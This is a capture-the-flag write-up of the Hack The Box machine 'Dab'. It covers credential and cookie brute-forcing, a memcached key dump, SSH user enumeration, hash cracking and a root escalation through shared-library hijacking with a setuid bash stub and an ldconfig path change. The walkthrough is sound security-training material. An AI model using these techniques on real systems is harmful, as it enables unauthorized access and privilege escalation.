Hack The Box - Dab

Quick Summary

Hey guys today dab retired and this is my write-up. Dab was a nice box ,A hard one but it had some funny stuff too , getting user was really annoying because it had a lot of rabbit holes. Root was much better. It’s a linux box and it’s ip is 10.10.10.86 so let’s jump right in.



Nmap

As always we will start by running nmap

note : I added the ip to /etc/hosts as dab.htb

nmap -sV -sT -sC dab.htb



We find ftp on port 21 , ssh on port 22 , http on port 80 and 8080 both of them are nginx.

Let’s take a look at the ftp server.

FTP

anonymous login succeeds , then by listing the files we only see one file dab.jpg



We will download it get dab.jpg then we will take a look at that image.



Nothing really special , maybe steganography ? Let’s try steghide

steghide info dab.jpg



And for password I left it blank and it was accepted !

Next step is to extract that txt file

steghide extract -sf dab.jpg



Cool let’s cat it.



And , Nope…

So we just got trolled , next thing is to look at http

Check out my steganography list

HTTP

On port 80 there’s a login page.



And port 8080 tells us : Access denied: password authentication cookie not set



Bruteforcing sub directories with gobuster wasn’t helpful , port 80 had only /login and /login . Normal stuff



And port 8080 had nothing.



HTTP port 80

Let’s enumerate the first port and see what we can get.

The most common credentials admin:admin didn’t work and we get Error: Login failed



If we intercept the request with burp we will see that the login process is being handled through a POST request with the parameters username and password



At this point we can bruteforce passwords with hydra , but instead of that i just used ZAP fuzzer , you can also use burp intruder but it’s very slow in the community version.

Fuzzing with ZAP

First thing to mention is the wordlist , because we are bruteforcing remotely it’s better to use a small wordlist so we won’t use rockyou here. I used darkweb2017-top10000.txt from Seclists

Let’s start zap and intercept the request again.



Then right click –> attack –> fuzzer . After that we highlight the place we want to fuzz , that will be the password parameter value.



Add –> Add then we paste the wordlist contents.





all the responses will be 200 and 542 bytes , except one response 302 and 209 bytes , for the value Password1 so that’s the password.



And we get it in , but …



Nothing interesting , was this port important ? correct me if i’m wrong.

HTTP port 8080

Moving on to the next http port , let’s intercept the request with burp and see what can we do with that password authentication cookie.





Let’s add a cookie and name it password , value can be anything we’re just testing





We got another message : Access denied: password authentication cookie incorrect

So we just need to get the right value of the cookie and we will get in.

We will use wfuzz to fuzz the cookie

wfuzz -u http://dab.htb:8080/ -w darkweb2017-top10000.txt -b password=FUZZ

Then we will terminate it immediately and look how can we filter the output



All the responses has 324 chars so we will add --hh 324 and this will not show us any response with 324 chars

wfuzz -u http://dab.htb:8080/ -w darkweb2017-top10000.txt -b password=FUZZ --hh 324



secret gave us a response of 540 , let’s try in burp





next step is to add the cookie , you can use any cookie editor. after that we get this page.



Finally we got something

memcached

The very first thing we see is : “Status of cache engine: Online”

cache engine ? after some googling we will find a software called memcached

https://downloads.mysql.com/docs/mysql-memcached-en.a4.pdf

memcached is a simple, highly scalable key-based cache that stores data and objects wherever dedicated or spare RAM is available for quick access by applications, without going through layers of parsing or disk I/O. To use, you run the memcached command on one or more hosts and then use the shared cache to store objects.

-page 1

By default, memcached uses the following settings:

• Memory allocation of 64MB

• Listens for connections on all network interfaces, using port 11211

• Supports a maximum of 1024 simultaneous connections

-page 5

So we know that memcached runs on port 11211 , let’s try any port to test





We get an internal server error

Now let’s try port 11211





We get output : ERROR because we didn’t send a valid command , but that’s a confirmation that the port is right.

Now we need to know what to put in “line to send”

By looking at this cheat sheet , the first command we see is get which reads a value , first time i did this box i guessed it , just typed get users and it worked but the right way to do it is to query the memory statistics with stats slabs (as mentioned in the cheat sheet)





Full output :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

STAT 1:chunk_size 96

STAT 1:chunks_per_page 10922

STAT 1:total_pages 1

STAT 1:total_chunks 10922

STAT 1:used_chunks 0

STAT 1:free_chunks 10922

STAT 1:free_chunks_end 0

STAT 1:mem_requested 0

STAT 1:get_hits 0

STAT 1:cmd_set 0

STAT 1:delete_hits 0

STAT 1:incr_hits 0

STAT 1:decr_hits 0

STAT 1:cas_hits 0

STAT 1:cas_badval 0

STAT 1:touch_hits 0

STAT 16:chunk_size 2904

STAT 16:chunks_per_page 361

STAT 16:total_pages 1

STAT 16:total_chunks 361

STAT 16:used_chunks 1

STAT 16:free_chunks 360

STAT 16:free_chunks_end 0

STAT 16:mem_requested 2880

STAT 16:get_hits 0

STAT 16:cmd_set 2

STAT 16:delete_hits 0

STAT 16:incr_hits 0

STAT 16:decr_hits 0

STAT 16:cas_hits 0

STAT 16:cas_badval 0

STAT 16:touch_hits 0

STAT 26:chunk_size 27120

STAT 26:chunks_per_page 38

STAT 26:total_pages 1

STAT 26:total_chunks 38

STAT 26:used_chunks 1

STAT 26:free_chunks 37

STAT 26:free_chunks_end 0

STAT 26:mem_requested 24699

STAT 26:get_hits 440

STAT 26:cmd_set 7

STAT 26:delete_hits 0

STAT 26:incr_hits 0

STAT 26:decr_hits 0

STAT 26:cas_hits 0

STAT 26:cas_badval 0

STAT 26:touch_hits 0

STAT active_slabs 3

STAT total_malloced 3127416

END



By looking at the slab with id 26 we see that the chunk size of it is 27120 , let’s dump the keys for this slab

stats cachedump 26 0

0 for no result limit





We get ITEM users

So we do get users , however you can just guess it like I said. We get a huge json output of usernames and password hashes.



SSH enumeration and getting user

Let’s copy that output and save it on our box. I saved it in a file and called it users.txt

cat users.txt



And it’s a lot of unorganized data , 3 or more pages like this.

we will use a python module called json.tool to get a more clear output

cat users.txt | python -m json.tool > users2.txt

cat users2.txt



And it’s nice now. Let’s make a seperate file for users to use them as a list to bruteforce ssh , and another seperate file for hashes to crack them.

cat users2.txt | cut -d ":" -f 1 | cut -d '"' -f 2 > usernames.txt

cat users2.txt | cut -d ":" -f 2 | cut -d '"' -f 2 > hashes.txt



To bruteforce ssh we will use a metasploit module called ssh_enumusers

1

2

3

4

5

msfconsole

use auxiliary/scanner/ssh/ssh_enumusers`

set RHOSTS dab.htb`

set USER_FILE usernames.txt`

set THREADS 20`





It will run for a while , then it will tell us that it found the user genevieve



now we need to get the password of that user. You can use john , hashcat or online crackers , however I have already cracked them and only few ones are crackable :



Now we need to know which one of these passwords is genevieve’s password , so we will grep for genevieve in users2.txt then we will grep for the hash in cracked-hashes.txt



And finally we have valid credentials genevieve:Princess1 , let’s ssh



Finally , we owned user !

More enumeration

We have a password , let’s try sudo -l , and we see that we can run this binary as root /usr/bin/try_harder , and as the name said … we should really try harder.



It gets us a root shell then immediately dies after the first command. We got trolled again :D

find / -perm -4000 to search for suid binaries and we see something unusual.



A binary called myexec has suid permissions. Let’s see what’s that.



It asks for a password and of course “test” is refused , we need to reverse engineer this binary to find the password.

Getting the password

scp genevieve@dab.htb:/usr/bin/myexec /root/Desktop/HTB/boxes/dab to download the file on our box



Then we will use radare2

1

2

3

radare2 myexec

aaa

pdf @ main





The password is s3cur3l0g1n , let’s get back to the box and try it



And we get:

1

2

3

password is correct

seclogin() called

TODO: Placeholder for now, function not implemented yet



so what can we do now ?

Hijacking dynamically linked shared object library and getting root

If we run ldd (List Dynamic Dependencies) against that binary. we see libseclogin.so



and we saw earlier when we executed the binary : seclogin() called

So theoretically , if we can replace libseclogin.so with another one and link to it , the binary will execute it as root. let’s test that.

We will create a directory in /home/genevieve/ and call it .exploit

Then we will write a small c program that spawns bash.

1

2

3

4

5

6

7





seclogin() {

setgid( 0 );

setuid( 0 );

system( "/bin/bash" );

}





After that we will compile it

gcc -fPIC -shared -o libseclogin.so exploit.c

Now our fake libseclogin.so is ready , we need to make the system point to our path /home/genevieve/.exploit/libseclogin.so instead of /usr/lib/libseclogin.so

We will cd to /etc/ld.so.conf.d , and create a .conf file and put our path in it.



Then to activate that path we will execute this command ldconfig

This page helped a lot.

Let’s do ldd again:



The path changed and pointed to our fake library.

Let’s own root.

./myexec



And we owned root.

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Secnotes

Next Hack The Box write-up : Hack The Box - Ypuffy